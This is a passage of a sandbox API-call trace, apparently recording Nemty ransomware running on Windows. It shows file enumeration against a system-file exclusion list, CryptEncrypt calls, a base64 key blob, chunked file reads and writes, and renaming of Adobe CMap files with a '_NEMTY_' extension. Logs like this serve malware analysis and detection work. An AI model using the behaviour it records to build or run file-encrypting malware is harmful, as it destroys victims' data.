hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.251] CloseHandle (hObject=0xffffffff) returned 0 [0201.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0201.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0201.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.252] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host._nemty_kgobjgd_")) returned 0 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.252] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="ADF41D~1")) returned 1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2=".") returned 1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="..") returned 1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="...") returned 1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="windows") returned -1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="$RECYCLE.BIN") returned 1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="rsa") returned -1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="NTDETECT.COM") returned -1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="ntldr") returned -1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="MSDOS.SYS") returned -1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="IO.SYS") returned -1 [0201.252] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="boot.ini") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="boot.ini") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="AUTOEXEC.BAT") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="ntuser.dat") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="desktop.ini") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="CONFIG.SYS") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="RECYCLER") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="BOOTSECT.BAK") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="bootmgr") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="programdata") returned -1 [0201.253] lstrcmpiW (lpString1="Adobe-Japan1-H-Mac", lpString2="appdata") returned -1 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0201.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0201.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0201.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0201.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0201.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0201.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0201.254] Sleep (dwMilliseconds=0x5) [0201.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b9cd0f0, dwHighDateTime=0x1d561e8)) [0201.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b9cd0f0, dwHighDateTime=0x1d561e8)) [0201.269] GetLastError () returned 0x5 [0201.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.269] GetLastError () returned 0x5 [0201.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.269] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.269] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.270] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0201.270] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="gkxWUG7lQjzLH+GyBlNqnun7VGhtIIfYyhRVT/rDzLrQpefoE9vcaSxd7IIgQD1i\r\nsP643HqFKo27Cz2mxosjuoXdz5Q42sgF7U62JkwU95xz07jd+CE0yx/xoeADe8vp\r\nY8WLA2KG6LOOElLzeeJ/OGcQ49RlHE0R3XmEvvmlS+9Fi7iWQ61ThHeG1cO+hTBQ\r\no8CduSy72Ne/4Y8Ql1fy7dZ8waDxDkb+6aBEYOGQE1WVf+8dLVeQ5kWoiAPKABCU\r\nQolz+elE5PYLGDi1i7GgvyPtjbgEeI7Kk44B3GBQKlYXOM2ny7dfowr8e+EfWazy\r\nDcQHCONU2SXBLfHzZDdfGQ==\r\n", pcchString=0x653e91c) returned 1 [0201.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0201.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0201.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0201.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.270] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.289] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, 